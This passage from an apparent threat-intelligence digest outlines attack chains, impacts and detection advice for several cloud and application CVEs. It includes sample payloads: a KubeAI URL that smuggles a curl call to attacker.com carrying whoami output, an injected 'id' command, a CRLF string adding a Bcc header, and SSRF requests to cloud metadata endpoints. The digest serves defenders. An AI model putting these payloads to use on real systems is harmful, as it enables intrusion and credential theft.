Successful exploitation of CVE-2026-5144 grants an attacker complete control over the targeted WordPress Multisite network. This allows them to modify content, install malicious plugins, create new administrator accounts, and potentially compromise the underlying server. The impact is especially severe for organizations relying on WordPress Multisite for critical applications, as it can lead to data breaches, service disruptions, and significant financial losses. The vulnerability affects all installations using the BuddyPress Groupblog plugin up to version 1.9.3, potentially impacting thousands of websites.

Recommendation

• Immediately update the BuddyPress Groupblog plugin to a version greater than 1.9.3 to patch CVE-2026-5144.
• Monitor web server logs for POST requests to /wp-admin/options.php with parameters groupblog-blogid, default-member, and groupblog-silent-add to detect potential exploitation attempts, using the provided Sigma rule.
• Implement strict access control policies to limit the ability of low-privileged users to modify group settings and install plugins.
• Enable logging of user role changes to detect unauthorized privilege escalation attempts.

Attack Chain

1. An attacker gains unauthorized access to AWS credentials, either through phishing, credential stuffing, or compromised systems.
2. The attacker uses the compromised credentials to authenticate to the AWS environment.
3. The attacker executes the sts:GetCallerIdentity API call to identify the associated AWS account ID, IAM user, or role.
4. The AWS STS service processes the request and returns the identity information to the attacker.
5. The attacker analyzes the returned identity information to understand the scope and privileges of the compromised credentials.
6. The attacker uses the gathered information to perform further reconnaissance activities, such as identifying accessible resources and services.
7. Based on the discovered information, the attacker may attempt to escalate privileges or move laterally within the AWS environment.
8. The final objective could include data exfiltration, deployment of malicious workloads, or disruption of services.

Impact

Successful exploitation and undetected reconnaissance can lead to significant damage, including unauthorized access to sensitive data, compromised workloads, and disruption of critical services. The impact can range from data breaches and financial losses to reputational damage and regulatory fines. Depending on the scope of the compromised credentials, the attacker may be able to access and control a large portion of the AWS environment. In the event of a breach, the organization may incur costs related to incident response, data recovery, and legal settlements.

Recommendation

• Deploy the Sigma rule “AWS STS GetCallerIdentity API Called for the First Time by New Identity” to your SIEM and tune for your environment to detect anomalous usage of the GetCallerIdentity API.
• Investigate any alerts generated by the Sigma rule, focusing on identifying the source IP address, user agent, and the user identity associated with the API call.
• Review IAM permission policies for the user identity associated with the GetCallerIdentity API call to ensure the least privilege principle is followed.
• Enable AWS CloudTrail logging for all AWS regions in your account to ensure comprehensive event logging, as required by the detection rule.
• Consider adding exceptions based on user.id or aws.cloudtrail.user_identity.arn values for automation workflows that legitimately rely on the GetCallerIdentity API, as mentioned in the overview.
• Implement multi-factor authentication (MFA) for all IAM users to mitigate the risk of credential compromise, as suggested in the documentation.

Attack Chain

1. Initial Access: Adversary gains access to valid credentials or session tokens through various means like phishing, malware, or exposed credentials. (T1555, T1566)
2. Authentication: Adversary uses the compromised credentials or tokens to authenticate to one of the cloud provider’s API (AWS, Azure, GCP).
3. Discovery (AWS): The adversary leverages the AWS CLI or API to enumerate available secrets stored in AWS Secrets Manager using GetSecretValue API calls.
4. Discovery (Azure): The adversary uses compromised credentials to interact with Azure Key Vault, utilizing SecretGet or KeyGet actions to discover accessible secrets.
5. Discovery (GCP): The adversary uses compromised service account or user credentials to access Google Secret Manager and enumerate accessible secrets using google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion or google.cloud.secretmanager.v1.SecretManagerService.GetSecretRequest.
6. Discovery (Kubernetes): The adversary uses compromised credentials to access the Kubernetes API and enumerate secrets within the cluster, specifically targeting the secrets resource with get or list verbs.
7. Credential Access: The adversary retrieves the secret values from each cloud provider and Kubernetes cluster. (T1555.006)
8. Exfiltration/Lateral Movement: The adversary exfiltrates the retrieved secrets for further malicious activities, such as lateral movement within the cloud environments or unauthorized access to sensitive data.

Impact

A successful attack can lead to the exfiltration of sensitive data, including API keys, database passwords, and encryption keys. This could result in unauthorized access to critical systems and data, potentially leading to data breaches, financial loss, and reputational damage. The impact is amplified in multi-cloud environments as the adversary can leverage the compromised secrets to move laterally between different cloud providers, increasing the scope and severity of the attack.

Recommendation

• Deploy the provided Sigma rule “Multiple Cloud Secrets Accessed by Source Address” to your SIEM to detect this activity across your cloud environments. Enable required logging: GCP Audit DATA_READ for Secret Manager API, Azure Key Vault Diagnostic Logging, and AWS CloudTrail for Secrets Manager.
• Investigate any alerts triggered by the Sigma rule by validating the principal (user, service account) and reviewing related activity (authentication, privilege escalation). Check application context, user agent, and IP reputation as detailed in the rule’s triage steps.
• Restrict or disable affected credentials or service accounts and rotate all accessed secrets if the activity is unauthorized or suspicious, as described in the rule’s Response and Remediation steps.
• Harden identity security by enforcing MFA, reducing permissions to least privilege, and reviewing trust relationships. Audit visibility should be improved by ensuring logging is enabled across all cloud environments.

Attack Chain

1. An attacker gains initial access to an AWS account, potentially through compromised credentials or an exposed IAM role.
2. The attacker attempts to create a new SSM Command document using the CreateDocument API call.
3. The CreateDocument API call is logged by AWS CloudTrail with details about the user identity, request parameters, and document description.
4. The detection rule analyzes CloudTrail logs, specifically looking for the CreateDocument event with a document type of Command.
5. The rule identifies the user or role associated with the CreateDocument API call by inspecting the aws.cloudtrail.user_identity.arn field.
6. If the user or role is considered rare or unusual for creating SSM Command documents within the organization, the rule triggers an alert.
7. The attacker could then use the created document to execute arbitrary commands on managed instances.
8. Successful execution of these commands leads to various impacts, including unauthorized access, command and control, data exfiltration, or disruption of services.

Impact

The successful exploitation of this technique can lead to unauthorized access to AWS resources, potentially affecting all systems managed by AWS SSM in the targeted environment. The creation of malicious SSM command documents can lead to data exfiltration, system compromise, or denial of service. If successful, this can impact hundreds or thousands of systems depending on the scope of AWS SSM usage in the organization.

Recommendation

• Deploy the Sigma rule “AWS SSM Command Document Created by Rare User” to your SIEM, ensuring proper indexing of CloudTrail logs (index = [“filebeat-*”, “logs-aws.cloudtrail-*”]).
• Review the aws.cloudtrail.request_parameters.content field in the CloudTrail logs for any suspicious commands within the created SSM document.
• Restrict SSM document creation permissions to specific, trusted roles or users to prevent unauthorized document creation as mentioned in the overview.
• Monitor the SendCommand API call related to the created SSM document to see if it is used to execute commands on managed instances, as described in the triage section.

Attack Chain

1. An attacker gains initial access to an AWS account with sufficient privileges, possibly through compromised credentials or an STS session.
2. The attacker executes the AssumeRoot API call to assume the privileges of the root user.
3. The attacker uses the CreateLoginProfile API call without specifying a userName. This action creates a console login profile directly for the root account instead of an IAM user. The aws.cloudtrail.request_parameters will not contain userName=.
4. The attacker sets a password for the root account using the CreateLoginProfile API. passwordResetRequired might be set to true or omitted, with omission potentially indicating an attacker-controlled password.
5. The attacker uses the newly created root account password to log in to the AWS Management Console. The event will be logged as a ConsoleLogin event.
6. The attacker uses the root account’s privileges to create or modify resources, escalate privileges, or exfiltrate data.
7. The attacker maintains persistence by using the console login, even if the initially compromised credentials or temporary session tokens are revoked.
8. The attacker may also create new IAM users or roles with elevated permissions to further solidify their presence.

Impact

A successful attack can lead to complete control over the AWS environment. The attacker can create, modify, or delete resources; access sensitive data; and disrupt services. Because the root user has unrestricted privileges, the impact is extremely high. There have been no reported victim counts. However, any successful exploitation can have severe impacts including data breaches, financial loss, and reputational damage.

Recommendation

• Deploy the Sigma rule “AWS IAM Login Profile Added for Root” to detect unauthorized creation of login profiles for the root account and tune for your environment.
• Investigate any CreateLoginProfile events where aws.cloudtrail.user_identity.type is Root and aws.cloudtrail.request_parameters does not contain userName=.
• Enable CloudTrail, GuardDuty, AWS Config, and Security Hub across all regions for continuous monitoring of root and IAM activity to improve overall visibility.
• Review IAM policies for least-privilege adherence, focusing on iam:CreateLoginProfile, iam:UpdateLoginProfile, and iam:CreateAccessKey permissions.

Attack Chain

1. An attacker gains initial access to AWS via compromised credentials or an exposed IAM role.
2. The attacker uses the AWS CLI or API to initiate an SSM SendCommand to a target EC2 instance. The DocumentName parameter is set to AWS-RunShellScript.
3. The SSM agent on the EC2 instance receives the SendCommand request.
4. The SSM agent executes a shell script (_script.sh) within a dedicated directory for orchestration.
5. The shell script executes a LOLBin, such as curl, wget, python, or perl, to perform malicious actions. The parent process of the LOLBin will be the SSM shell script.
6. The LOLBin is used to download a malicious payload, establish a reverse shell, or exfiltrate data.
7. The attacker uses the established reverse shell to perform further actions on the EC2 instance.

Impact

Successful exploitation can lead to unauthorized access to EC2 instances, data exfiltration, deployment of malware, and lateral movement within the AWS environment. Although a number of impacted organizations is not available, this attack is able to bypass traditional network security controls. Organizations in any sector utilizing AWS EC2 instances and SSM are potentially at risk. The lack of required SSH or RDP access makes this technique particularly stealthy.

Recommendation

• Enable AWS CloudTrail logging to capture SendCommand events and monitor for AWS-RunShellScript in the request_parameters.
• Deploy the Sigma rule “Detect AWS EC2 LOLBin Execution via SSM SendCommand” to your SIEM and tune for your environment.
• Monitor endpoint process execution logs for the execution of LOLBins like curl, wget, python, perl, nc, etc., with parent processes related to SSM.
• Implement strict IAM policies to restrict SSM SendCommand permissions to only authorized users and roles.
• Review and audit existing SSM configurations to identify and remediate any overly permissive settings.

Attack Chain

1. Attacker authenticates to the Juju controller with a low-privileged account.
2. The attacker crafts a malicious API request to the CloudSpec method.
3. The Juju controller, lacking proper authorization checks, processes the request.
4. The CloudSpec method retrieves the cloud credentials used for bootstrapping.
5. The controller returns the cloud credentials to the attacker.
6. Attacker obtains the sensitive cloud credentials, such as AWS access keys or Azure service principal secrets.
7. The attacker uses the stolen cloud credentials to access and control cloud resources.
8. Attacker achieves complete compromise of the cloud environment.

Impact

Successful exploitation of CVE-2026-5412 allows a low-privileged, authenticated attacker to steal cloud credentials. This can lead to complete compromise of the cloud infrastructure managed by the vulnerable Juju controller. The impact includes unauthorized access to data, potential data breaches, denial of service, and the ability to deploy malicious workloads within the cloud environment. The severity is heightened by the ease of exploitation and the high value of the exposed cloud credentials.

Recommendation

• Upgrade Juju controllers to versions 2.9.57 or 3.6.21 to remediate CVE-2026-5412.
• Implement the Sigma rule “Detect Juju CloudSpec API Access” to detect unauthorized calls to the CloudSpec API method in Juju environments.
• Monitor Juju controller logs for suspicious API requests originating from low-privileged accounts.
• Review and enforce strict access control policies within the cloud environment to limit the impact of compromised credentials.

Attack Chain

1. Attacker identifies a PraisonAI instance running a vulnerable version (prior to 4.5.128).
2. Attacker establishes a WebSocket connection to the /media-stream endpoint of the PraisonAI instance without providing any authentication credentials.
3. The PraisonAI server, upon receiving the unauthenticated WebSocket connection, creates an authenticated session with the OpenAI Realtime API using its own API key.
4. Attacker sends a large volume of messages through the WebSocket connection, exploiting the lack of message rate limits.
5. Attacker initiates multiple concurrent WebSocket connections to the /media-stream endpoint.
6. The PraisonAI server becomes overloaded due to the excessive number of connections and message processing demands.
7. The victim’s OpenAI API credits are rapidly depleted as the PraisonAI server processes requests from the attacker’s connections.
8. The PraisonAI server experiences degraded performance or becomes completely unresponsive, impacting legitimate users.

Impact

Successful exploitation of this vulnerability results in resource exhaustion on the PraisonAI server, potentially causing denial of service for legitimate users. Furthermore, it leads to the unauthorized consumption of the victim’s OpenAI API credits, resulting in unexpected charges and potential disruption of services reliant on the OpenAI API. The number of affected organizations depends on the prevalence of vulnerable PraisonAI instances deployed.

Recommendation

• Upgrade PraisonAI installations to version 4.5.128 or later to patch CVE-2026-40116.
• Implement rate limiting on WebSocket connections to the /media-stream endpoint to mitigate resource exhaustion.
• Monitor OpenAI API usage for unexpected spikes in activity that may indicate exploitation of this vulnerability.
• Deploy the Sigma rule DetectSuspiciousPraisonAIWebSocketConnections to identify potential exploitation attempts by detecting a high number of connections to the /media-stream endpoint.

Attack Chain

1. An authenticated attacker identifies the validate_enrichment_url function as a potential SSRF target.
2. The attacker crafts a malicious URL containing an IPv6 address with surrounding brackets (e.g., http://[::1]).
3. The attacker submits a request to the OpenObserve server, providing the malicious URL to the validate_enrichment_url function.
4. The validate_enrichment_url function fails to properly validate the IPv6 address due to the brackets.
5. The OpenObserve server initiates a request to the attacker-specified IPv6 address, bypassing intended access restrictions.
6. In a cloud environment, the attacker targets the AWS IMDSv1 endpoint (169.254.169.254) to retrieve IAM credentials.
7. The OpenObserve server retrieves the IAM credentials from the IMDSv1 endpoint and returns them to the attacker.
8. The attacker uses the stolen IAM credentials to gain unauthorized access to cloud resources.

Impact

Successful exploitation of this SSRF vulnerability can lead to significant consequences, especially in cloud deployments. An attacker can retrieve sensitive IAM credentials from cloud metadata services like AWS IMDSv1 (169.254.169.254), GCP metadata, or Azure IMDS. These stolen credentials can then be used to gain unauthorized access to critical cloud resources, potentially leading to data breaches, service disruption, and financial losses. The vulnerability affects OpenObserve instances version 0.70.3 and earlier. The number of affected organizations is currently unknown, but any organization using a vulnerable version of OpenObserve is at risk.

Recommendation

• Upgrade OpenObserve to a version greater than 0.70.3 to patch CVE-2026-39361.
• Monitor network connections originating from OpenObserve servers to internal IP addresses such as 169.254.169.254 using the provided Sigma rule to detect potential SSRF attempts.
• Implement network segmentation and access controls to limit the impact of a successful SSRF attack, restricting access from OpenObserve servers to sensitive internal services.
• Consider disabling IMDSv1 and migrating to IMDSv2 on AWS EC2 instances to mitigate the risk of IAM credential theft.

Attack Chain

1. An attacker identifies an instance of text-generation-webui running a vulnerable version (prior to 4.3) with the superbooga or superboogav2 RAG extension enabled.
2. The attacker crafts a malicious URL targeting a cloud metadata endpoint (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/).
3. The attacker injects the malicious URL into a text-generation-webui RAG extension user input field.
4. The application, using the requests.get() function, fetches the content from the attacker-controlled URL without validation.
5. The cloud metadata, containing potentially sensitive information like temporary IAM credentials, is retrieved by the application.
6. The retrieved data is processed through the RAG pipeline.
7. The attacker leverages the RAG pipeline to extract the content from the application.
8. The attacker uses the exfiltrated credentials to access and compromise other resources within the victim’s cloud environment.

Impact

Successful exploitation of CVE-2026-35486 can have significant consequences. An attacker can potentially gain unauthorized access to cloud resources by stealing IAM credentials. This could lead to data breaches, service disruption, and financial loss. The vulnerability affects any text-generation-webui instance running a version prior to 4.3 with the vulnerable RAG extensions enabled, impacting individuals and organizations utilizing this software for LLM-based applications.

Recommendation

• Upgrade text-generation-webui to version 4.3 or later to remediate the SSRF vulnerability (CVE-2026-35486).
• Deploy the Sigma rule “Detect text-generation-webui SSRF Attempt” to your SIEM to detect exploitation attempts targeting cloud metadata endpoints.
• Monitor web server logs for outbound connections to internal IP addresses (e.g., 169.254.169.254) originating from the text-generation-webui application.

Attack Chain

1. Attacker gains code execution privileges on a GPU within a shared environment (e.g., cloud).
2. Attacker utilizes the GPUBreach technique to repeatedly access (“hammer”) a specific row of GDDR6 memory cells on the GPU.
3. This “hammering” generates electrical interference, causing bit flips in neighboring memory regions.
4. The induced bit flips corrupt GPU page tables, granting arbitrary read-write access to memory.
5. Attacker exploits memory-safety bugs in Nvidia drivers.
6. This leads to CPU-side privilege escalation by exploiting the corrupted memory access.
7. Attacker gains root shell privileges on the compromised system.
8. Attacker achieves full system compromise, potentially leading to unauthorized data access, data corruption, or breaches of memory isolation.

Impact

The GPUBreach attack allows for privilege escalation from a user with GPU access to root on a shared system. This compromises the confidentiality, integrity, and availability of the entire system, especially in cloud environments where multiple users share physical GPUs. Successful exploitation can lead to unauthorized data access, data corruption, breaches of memory isolation, and potentially complete control over the compromised system. Google awarded a $600 bounty highlighting the significance of this vulnerability.

Recommendation

• Enable ECC on server and workstation GPUs (e.g., RTX A6000) as per the Nvidia security notice to mitigate single-bit flips, although this is not a foolproof mitigation as the attack can induce more than two bit flips.
• Monitor GPU resource usage for unusual memory access patterns indicative of Rowhammer attacks using the detection rule for GPU Memory Hammering Detection.
• Monitor for suspicious processes utilizing the GPU in conjunction with privilege escalation attempts as detected by the Suspicious GPU Privilege Escalation Sigma rule.

Attack Chain

1. An attacker gains authenticated access to the Plunk API.
2. The attacker crafts a malicious API request to send an email.
3. In the from.name, subject, custom header keys/values, or attachment filename fields, the attacker injects carriage return (\r) and line feed (\n) characters followed by arbitrary email headers. For example: Subject: legitimate subject\r\nBcc: attacker@example.com.
4. The Plunk application, prior to version 0.8.0, processes the request without proper sanitization. The injected CRLF sequences are interpreted as header delimiters, and the attacker-supplied headers are added to the email.
5. The Plunk application constructs a raw MIME message including the injected headers.
6. Plunk sends the email via AWS SES.
7. The recipient receives the email, which now includes the attacker-injected headers (e.g., Bcc, Reply-To).
8. The attacker achieves their objective, such as silently receiving a copy of the email (Bcc), redirecting replies to an attacker-controlled address (Reply-To), or impersonating another sender (From).

Impact

Successful exploitation of the CRLF injection vulnerability (CVE-2026-34975) in Plunk can lead to significant confidentiality and integrity breaches. Attackers can silently intercept sensitive email communications by adding themselves as Bcc recipients. They can also redirect replies to attacker-controlled addresses, potentially gaining access to further information. Furthermore, attackers can spoof the sender’s identity, enabling them to conduct phishing attacks or distribute malicious content under the guise of a trusted source. The number of potential victims is proportional to the number of Plunk users and the sensitivity of the information they handle. The risk is particularly high for organizations using Plunk to manage critical communications or sensitive data.

Recommendation

• Upgrade Plunk to version 0.8.0 or later to remediate CVE-2026-34975, which introduces input validation to prevent CRLF injection.
• Monitor Plunk application logs for suspicious API requests containing carriage return (\r) or line feed (\n) characters in email fields. Implement a rule to detect these characters in cs-uri-query within the webserver logs.
• Implement input validation on any custom email sending functionality to prevent CRLF injection vulnerabilities.

Attack Chain

1. An attacker gains access to a valid AWS IAM Long-Term Access Key. This could be through phishing, credential stuffing, or exposed credentials in source code.
2. The attacker uses the compromised access key to interact with AWS services from a new and previously unseen IP address. This triggers the “AWS Long-Term Access Key First Seen from Source IP” rule (rule ID: 9f8e3c5e-f72e-4e91-93f6-e98a4fae3e4f).
3. The attacker leverages the compromised credentials to perform reconnaissance activities within the AWS environment, such as listing resources or querying IAM configurations.
4. The attacker attempts to escalate privileges by exploiting misconfigurations or vulnerabilities in IAM policies.
5. The attacker performs actions indicating lateral movement within the AWS environment, such as accessing or modifying resources in different AWS accounts.
6. The attacker compromises additional AWS resources or services, such as EC2 instances or S3 buckets. These activities trigger medium, high, or critical severity alerts.
7. The correlation rule identifies the co-occurrence of the “AWS Long-Term Access Key First Seen from Source IP” alert and other elevated severity alerts associated with the same access key ID.
8. The security team investigates the correlated alerts and takes appropriate remediation steps, such as rotating the compromised access key and reviewing IAM policies.

Impact

A successful attack leveraging compromised AWS IAM credentials can lead to significant data breaches, service disruption, and financial losses. Attackers can gain unauthorized access to sensitive data stored in S3 buckets, compromise EC2 instances, and disrupt critical AWS services. The correlation rule aims to reduce the dwell time of attackers by prioritizing the investigation of compromised credentials associated with ongoing malicious activity. This can prevent attackers from further escalating their attacks and minimizing the overall impact of the breach. Failure to detect and respond to these attacks can result in regulatory fines, reputational damage, and loss of customer trust.

Recommendation

• Deploy the “AWS IAM Long-Term Access Key Correlated with Elevated Detection Alerts” rule (rule ID 98cfaa44-83f0-4aba-90c4-363fb9d51a75) in your Elastic Security environment to identify potentially compromised IAM access keys.
• Investigate alerts triggered by the rule by pivoting on the aws.cloudtrail.user_identity.access_key_id in CloudTrail and IAM to understand the context of the access key usage.
• Review the sibling alerts identified by the rule using Esql.kibana_alert_rule_name_values and Esql.kibana_alert_rule_id_values to understand the scope and impact of the potential compromise.
• Configure your Elastic Security deployment to properly map risk scores to severity levels, ensuring that kibana.alert.risk_score >= 47 corresponds to medium or higher severity alerts.
• Rotate or disable any IAM access keys identified as compromised by the rule to prevent further unauthorized access.
• Enable AWS CloudTrail logging to capture detailed information about API calls made within your AWS environment, providing valuable context for investigating security alerts.
• Implement the “AWS Long-Term Access Key First Seen from Source IP” rule (rule_id: 9f8e3c5e-f72e-4e91-93f6-e98a4fae3e4f) if not already enabled, as it is a pre-requisite for this correlation rule.

Attack Chain

1. Initial Compromise: An attacker gains initial access to the Kubernetes cluster, potentially by exploiting a vulnerability in a pod or by stealing a kubeconfig file.
2. Discovery: The attacker enumerates available resources within the cluster to identify potential targets, including secrets. This might involve using kubectl get secrets --all-namespaces.
3. Credential Theft: The attacker attempts to access Kubernetes secrets using an unusual user agent, source IP, or user name. For example, using curl from a compromised pod to access the Kubernetes API.
4. Data Exfiltration: The attacker retrieves the contents of the secrets. Secrets might contain service account tokens, registry credentials, cloud IAM keys, database passwords, etc.
5. Lateral Movement: With stolen credentials, the attacker attempts to move laterally within the cluster or the connected cloud environment. They might use the credentials to access other pods, services, or cloud resources.
6. Privilege Escalation: The attacker uses the stolen credentials to escalate their privileges within the Kubernetes cluster or the cloud environment. For example, creating new roles or role bindings.
7. Persistence: The attacker establishes persistence by creating backdoors or modifying existing deployments. This might involve creating new pods or modifying existing deployments.
8. Impact: The attacker achieves their objective, such as data theft, denial of service, or infrastructure compromise.

Impact

Successful exploitation can lead to the compromise of sensitive data stored within Kubernetes secrets. This could include database credentials, API keys, and service account tokens. The impact can range from unauthorized access to sensitive data, to complete compromise of the Kubernetes cluster and the connected cloud environment. This can affect any organization using Kubernetes to manage their applications, potentially leading to data breaches, service disruptions, and financial losses. The severity depends on the sensitivity of the data stored in the compromised secrets and the level of access the attacker gains.

Recommendation

• Deploy the Sigma rule Kubernetes Secret Access via Unusual User Agent to your SIEM and tune for your environment to detect unusual access patterns to Kubernetes secrets.
• Investigate and validate any alerts generated by the deployed Sigma rule, focusing on the requesting identity, source IP, and user agent to confirm whether they align with approved access records.
• Implement RBAC least privilege to limit access to secrets to only the required service accounts and users to minimize the potential impact of credential theft.
• Monitor Kubernetes audit logs (logs-kubernetes.audit_logs-*) for suspicious activity, including unusual API calls and access patterns to sensitive resources.
• Regularly rotate secrets and credentials to minimize the window of opportunity for attackers to use stolen credentials.

Attack Chain

1. Attacker gains initial access to a Juju controller as an authenticated user, machine, or controller. This could be via compromised credentials or a vulnerable workload already within the Juju environment.
2. The attacker identifies the target model UUID, application name, and resource name they wish to poison. This information can be obtained through enumeration within the Juju environment or by leveraging publicly available charm information from Charmhub.
3. The attacker crafts a malicious resource, such as a trojan horse Docker image, that has the same file extension as the original resource.
4. The attacker sends a PUT request to the resource handler endpoint /:modeluuid/applications/:application/resources/:resources with the malicious resource.
5. The Juju controller’s resource handler, lacking proper authorization checks, accepts the malicious resource and overwrites the existing resource in its cache.
6. When the target application attempts to retrieve the resource, it receives the poisoned version from the controller’s cache.
7. The poisoned resource is executed or deployed within the target application’s environment, leading to compromise. In the case of a Docker image, this could lead to root access on the underlying system.
8. The attacker leverages the compromised application (e.g., a Kubernetes vault) to access sensitive information, such as vault secrets, and further expand their access within the environment.

Impact

This vulnerability allows an attacker to inject security vulnerabilities into other workloads managed by Juju. This can lead to privilege escalation, data breaches, and complete compromise of the Juju-managed environment. The most obvious impact is on deployments using OCI containers, where a malicious Docker image can grant an attacker execution escalation. In a Kubernetes environment managing vault secrets, an attacker could potentially gain root access to all vault secrets, seriously impacting the confidentiality and integrity of the data stored within. The specific impact depends on the type of resource poisoned and its role in the target application, but could be severe.

Recommendation

• Upgrade Juju to a version containing the fix for CVE-2025-68153 to address the underlying vulnerability.
• Implement additional authorization checks and access controls within the Juju environment to restrict resource modification to authorized users and processes.
• Enable and review Juju API server logs (category: webserver, product: linux) for suspicious PUT requests to resource handler endpoints, looking for unexpected resource modifications.
• Deploy the Sigma rule “Detect Unauthorized Juju Resource Modification” to your SIEM to detect unauthorized PUT requests to Juju resource endpoints.

Attack Chain

1. Attacker identifies a curl_cffi application vulnerable to SSRF.
2. The attacker crafts a malicious URL pointing to an attacker-controlled server (attacker.example).
3. The victim application uses curl_cffi to request the attacker-controlled URL.
4. The attacker’s server responds with an HTTP 302 redirect to an internal IP address (e.g., 169.254.169.254, the cloud metadata endpoint).
5. curl_cffi automatically follows the redirect without validation.
6. The request is sent to the internal IP address, bypassing external access controls.
7. The internal service (e.g., cloud metadata API) responds with sensitive information.
8. The attacker retrieves the sensitive information from the victim application’s logs or response data.

Impact

Successful exploitation of this vulnerability allows an attacker to access internal network services and sensitive cloud metadata. This can lead to the exposure of API keys, credentials, and other confidential information. The impact can range from unauthorized access to internal applications and data to potential compromise of cloud infrastructure. All applications using curl_cffi versions before 0.15.0 are vulnerable. The severity is high due to the potential for significant data breaches and infrastructure compromise.

Recommendation

• Upgrade to curl_cffi version 0.15.0 or later to patch CVE-2026-33752.
• Implement server-side input validation to prevent passing attacker-controlled URLs to curl_cffi.
• Monitor network traffic for connections to internal IP ranges (127.0.0.1, 169.254.0.0/16) originating from processes using curl_cffi. Create a network_connection rule to detect this activity.
• Inspect web server logs for HTTP 302 redirects to internal IP addresses, which could indicate SSRF attempts. Deploy a webserver rule to detect this.

Attack Chain

1. Credential Compromise: An attacker obtains valid Azure credentials (username/password or service principal keys) through phishing, credential stuffing, or other means.
2. Initial Access: The attacker uses the compromised credentials to log in to the Azure environment from an unusual geographic location (city).
3. Activity Log Generation: The login and subsequent actions generate Azure Activity Logs entries.
4. Resource Access/Modification: The attacker performs actions such as adding privileged role assignments, creating virtual machines, modifying network configurations, or accessing Key Vault secrets.
5. Lateral Movement (Potential): The attacker may use the initially compromised account to discover and access other resources or accounts within the Azure environment.
6. Data Exfiltration/Resource Exploitation (Potential): The attacker exfiltrates sensitive data or uses compromised resources for malicious purposes like cryptocurrency mining.

Impact

A successful attack can lead to unauthorized access to sensitive data, modification of critical infrastructure, and deployment of malicious resources within the Azure environment. The impact can range from data breaches and financial losses to disruption of services. While the risk score of this detection is low, further investigation is required to determine the extent and nature of the malicious activity.

Recommendation

• Enable the associated Machine Learning job (azure_activitylogs_rare_event_action_for_a_city_ea) and ensure that the Azure Activity Logs integration is properly configured to provide the necessary data.
• Review the investigation guide within the rule’s note field to understand possible investigation steps, including validating user presence in the region and enriching the source IP.
• Implement response and remediation steps outlined in the rule note field such as revoking active sessions, resetting passwords, and reverting changes executed from the unusual city.
• Configure Conditional Access policies with country allowlists and named egress IP ranges, as recommended in the rule’s note field, to prevent logins from unexpected locations.

Attack Chain

1. An attacker identifies a PraisonAI instance running a vulnerable version (<= 4.5.89).
2. The attacker crafts a malicious request to the passthrough() function, providing a crafted api_base parameter.
3. The crafted api_base contains the address of an internal service (e.g., Redis, Elasticsearch, Kubernetes API) or the EC2 metadata service (http://169.254.169.254).
4. An AttributeError is triggered in the litellm primary path.
5. The passthrough() function, within passthrough.py, concatenates the attacker-controlled api_base with the specified endpoint.
6. The resulting URL is then passed to httpx.Client.request(), making an HTTP request to the attacker-specified destination.
7. If targeting the EC2 metadata service, the attacker can retrieve IAM credentials associated with the instance.
8. If targeting internal services, the attacker can potentially access sensitive data or perform unauthorized actions, due to the default AUTH_ENABLED = False setting.

Impact

Successful exploitation of this SSRF vulnerability can lead to serious consequences. On cloud infrastructure, attackers can steal IAM credentials from the EC2 metadata service (IMDSv1), potentially gaining control over the entire AWS account. Internal services within the VPC, such as Redis, Elasticsearch, and Kubernetes API, become accessible without authentication, as the Flask API server deploys with AUTH_ENABLED = False by default. This can lead to data breaches, service disruptions, or further lateral movement within the internal network. This vulnerability affects deployments of PraisonAI version 4.5.89 and earlier.

Recommendation

• Upgrade PraisonAI to a version greater than 4.5.89 to patch CVE-2026-34936.
• Implement input validation and sanitization on the api_base parameter within the passthrough() function to prevent SSRF attacks.
• If running on AWS, disable IMDSv1 and migrate to IMDSv2 to mitigate the risk of IAM credential theft.
• Implement network segmentation and access controls to restrict access to internal services from the PraisonAI server.
• Deploy the following Sigma rule to detect attempts to exploit the SSRF vulnerability by monitoring for connections to the EC2 metadata service or the local loopback address.

Attack Chain

1. An attacker gains the ability to create or update Model custom resources in a KubeAI environment. This could be through compromised credentials, misconfigured RBAC permissions, or other vulnerabilities.
2. The attacker crafts a malicious Model custom resource with a specially crafted URL in the spec.url field. The URL contains shell metacharacters and commands within the ref component or the model query parameter. For example, ollama://registry.example.com/model;id>/tmp/pwned;echo or pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo.
3. The attacker applies the malicious Model resource to the Kubernetes cluster, triggering the KubeAI model controller.
4. The parseModelURL() function parses the malicious URL and extracts the unsanitized ref and modelParam components.
5. The ollamaStartupProbeScript() function constructs a shell command string using fmt.Sprintf with the unsanitized ref and modelParam components. The resulting command is intended to pull or copy the specified model.
6. The KubeAI model controller creates a pod for the model server, configuring a startup probe that executes the crafted shell command via bash -c.
7. The Kubernetes kubelet executes the startup probe, running the attacker-injected shell commands within the pod’s context.
8. The attacker achieves arbitrary command execution inside the model server pod, potentially leading to data exfiltration, lateral movement, or compromise of the model serving infrastructure.

Impact

Successful exploitation of this vulnerability allows for arbitrary command execution within KubeAI model server pods. This can lead to several severe consequences: data exfiltration from the pod’s environment (environment variables, mounted secrets, service account tokens), lateral movement to other cluster resources in multi-tenant environments, and compromise of the model serving infrastructure. An attacker with Model creation permissions can execute arbitrary commands in model pods, potentially accessing sensitive data. The vulnerability affects KubeAI installations version 0.23.1 and earlier.

Recommendation

• Upgrade KubeAI to a version beyond 0.23.1 that includes the fix for CVE-2026-34940.
• Implement strict RBAC policies to limit who can create or update Model custom resources.
• Deploy the Sigma rule “Detect KubeAI Model Resource Command Injection” to identify malicious Model resources being created or updated.
• Monitor Kubernetes audit logs for suspicious activity related to Model custom resource creation and updates.
• If upgrading is not immediately feasible, consider implementing a Kubernetes admission webhook that validates and sanitizes the spec.url field of Model custom resources, allowing only alphanumeric characters, slashes, colons, dots, and hyphens.

Attack Chain

1. An attacker gains initial access to an AI agent built on Vertex AI.
2. The attacker exploits the excessive default permissions associated with the Per-Project, Per-Product Service Agent (P4SA).
3. The attacker obtains the GCP service agent’s credentials by abusing the P4SA permissions.
4. Using the compromised credentials, the attacker moves from the AI agent’s execution context into the owner’s Google Cloud project.
5. The attacker gains unrestricted access to the Google project hosting Vertex AI.
6. The attacker downloads container images from private repositories that form the core of the Vertex AI Reasoning Engine.
7. The attacker accesses restricted Artifact Registry repositories containing other images.
8. The attacker identifies and manipulates a file within the agent’s environment to achieve remote code execution and establish a persistent backdoor.

Impact

